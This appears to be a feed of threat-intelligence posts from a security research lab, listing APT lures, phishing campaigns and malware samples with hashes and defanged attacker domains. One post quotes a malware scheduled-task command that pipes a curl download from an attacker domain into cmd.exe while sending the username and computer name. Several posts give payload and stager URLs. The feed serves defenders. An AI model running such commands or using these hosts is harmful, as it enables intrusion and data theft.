StrikeReady Labs

#apt targeting the Indian gov a6f27d0a4844c725a9d3bf916b59df24c3f440a63c567329fda87c99f80529fb Indl Case List 2026.pdf.lnk 9ec2fcf125890ad69155a3343399f7e704ae0edb9873dcd38448415398ed81c5 Indl Case List 2026.rar a5a9b99066d1d27899506a2bf138da3289f9c33fc4dc5b8fd76be9c32c2bf90a powerpoint.bat

#apt 7d35283f975f9d7a2ff335706527771bf3d7e75f8b6c8762f6165adcfe8d2cf5 ASEAN Semiconductor Roadmap 2026_2030_Draft v0 (For Input)_for ATF-JCC.docx web-api.nrilsnalnrlne.workers[.]dev

these scams are pretty solid. they grab the list of applications from publicly hosted "construction permit" type city governments, and then send you a relatively small invoice to pay for "approval".

interesting #dailyphish using shopify's CDN for hosting payload cdn.shopify[.]com/s/files/1/0743/9509/1080/files/Document_for_your_review.pdf?v=1784829484

#apt 219cf82c137680ab000d1d2031a37f2680464d0372a3f1c46d21acfef695cdbd Ltr. No.15(2)R-22.zip

#apt #in bfaec98e7fdcf93c1bce3cc592f29e098e1facef0387cdccf8b0d7e5fa87c5ee File Copy.ppt pakdw.orchidheaven[.]online

#apt #sweetspecter 41c7346a20b1ed3d204ec9648019c39f6af7153cbb5ab09df64128930094224f Trump's latest measures against Iran.doc 1a370844a2adf5d685639cf7c524c033f71a7c3951c6237d24d7fc536b6c57ad Trump's latest measures against Iran.rar

"send me money please" continues to be an effective scam with very little downside

#in #apt targeting Sri Lanka, by faking an email to the @un.org and bcc-ing the target easygoing-exploration-production-7b0f.up.railway[.]app/?uasnxcias_pdf2Server_id7378dQ=1 continuing to abuse the free Railway for hosting.

#apt "Updated Educational Programs and Main Disciplines at NATO School Oberammergau (NSO).html" 76d07f53e9e727ac7368614d149caf981e8551d2c2fa38e9bae726ebe2f8d7ef -> winserviceguard[.]center 485a9f51bd195ce1bf06c96c1bc2e421 <-"Russias war against Ukraine EU sanctions Consilium.html"

Nice report from our friends at @rapid7.com on this threat actor www.rapid7.com/blog/post/tr...

#apt #in a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7 GRES3001.lnk -> chinagreenenergy[.]org

#in #apt e321100ddc38c128113ac85a9dd8376379b3a312fb748393fa5840f1e232fd06 Server-Logs-PESCO.chm ->evanhouseandmore[.]com

Always interesting to see what a live phish from #unc1151 looks like 845474a60e029ac8b361a89edfee507d59318c52c6e48f36e6bd30626f09b3f0 Certificate.pdf

3152cb01dddc95ce5d14d45b9b0e33f5b107a4d3dce64f47efba24cbad406cfb CERTYFIKAT_Nr_312-05-2025.wsf #apt

#apt 1fbf27bc3584283668174213d8f3ca441215e5556d924f42fbe0d9ba8afc334b Russias war against Ukraine EU sanctions Consilium.html

edb3b8ef7949fad5a5c0b88f744e4e4a2acd40fe287bec8604ebe8dee9ab3a51 ASEAN 2026 Attendance Meeting (2).zip typical apt lure, but with ransomware filenames, makes this researcher call shenanigans

#apt #opendir oops bossmaya[.]xyz/files/

#malware #dailyopendir meetingszoom[.]com b91ca87a2ce64f025c27a4a7d58f4b61f7b9b043251abab0a138345b5cae322f zoom_meeting.zip

#apt #cn f93923341c3e4b43015a2a1ca0b21ec115035447f2398eaea1aff1377f6d9d5d CNCLID.dll

#apt #pk drive.usercontent[.]google[.]com/download?id=1FCv4gbtcpWYQo5GFVFRoMaJe0_YZVBk-&export=download&authuser=0 igkashmir8@gmail.com

#dailyphish #apt #in

this actor has sent an email like this to dozens of governments, every single day, for the past 15 years. it takes them a few weeks to get banned from outlook/gmail/yahoo/etc and they move to a new one #daily_notaphish_just_weird

interesting #susp #apt payload uploaded to VT Work. zip uploaded from Saudi Arabia 85cd2aa498a943d4c07ce75d30f6e68d decoy. if you like .net obfuscation, this is a nice one

#cn #apt 1.zip via vt (uploaded from myanmar, mongolian lure) 03ca0221a1d7e49b72692ba12405216d -> neurosurgeryx[.]com decoy:

nice looking #dailyphish, smells like #redteam

Are you flagging on .csproj files inside archives, being delivered by email?

#apt #unc1151 mickeymousegamesdealer.alexavegas[.]icu

This "JWT_SESSION" cookie sure looks funky, with base64 encoded data between "metaPrefix" and "metaSuffix"! 🔥 66.234.147.10:8080

#susp #dailyphish -> financeoperations1.github[.]io/ambulacecare/

#dailyphish targeting an insurance company ... a dinner invite leading to screenconnect. subscribezoominfo.screenconnect[.]com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

susp #redteam OSCE_Election_Security_Checklist_v2.pdf.exe 600710c6ad0e4260a3879d36c5455e71 66.234.147.10

#bec #dailyphish

#dprk #apt PumpGuard-Pumpfun-AI-Attack-Defence-Requirements.pdf.zip 5c2857913efc6007b3ee7028a132baa4

#apt #bitter Database server.rar 8cb6dee642f510d20825e49435e4f814 rar -> vhdx -> jse -> "Maintenance\Windows10\Drivers\Graphics\VerifiedUpdaterTaskMachineGPU-X-5-93-12798962" /tr "conhost --headless cmd /c curl www.haburyohoteam[.]com/jvdmhawme.okjhvthfv?d=%username%_%computername% | cmd.exe"

not all #dailyphish are created equally

#dailyopendir #susp #redteam 172.178.44[.]139/stager/

#susp "destruction missile defense radars.pdf.exe" uploaded from qatar 1bc6281441096086b2357066d70f65e4

"big game" invoice scammers switching from training invoices to infosec #dailyphish

#dprk #apt (대외보안)0223_주미한국대사관_비공개_정책간담회_계획안.pdf.lnk 1f378c0efc13669dada1fe340c6837bd

#apt db1b11b63d631e2d0cebdefb322c2e7a Letter to Indian Coast Guards by Def Secy.xlam "pointless calculations"

 cert UA article on the below cert.gov.ua/article/6287...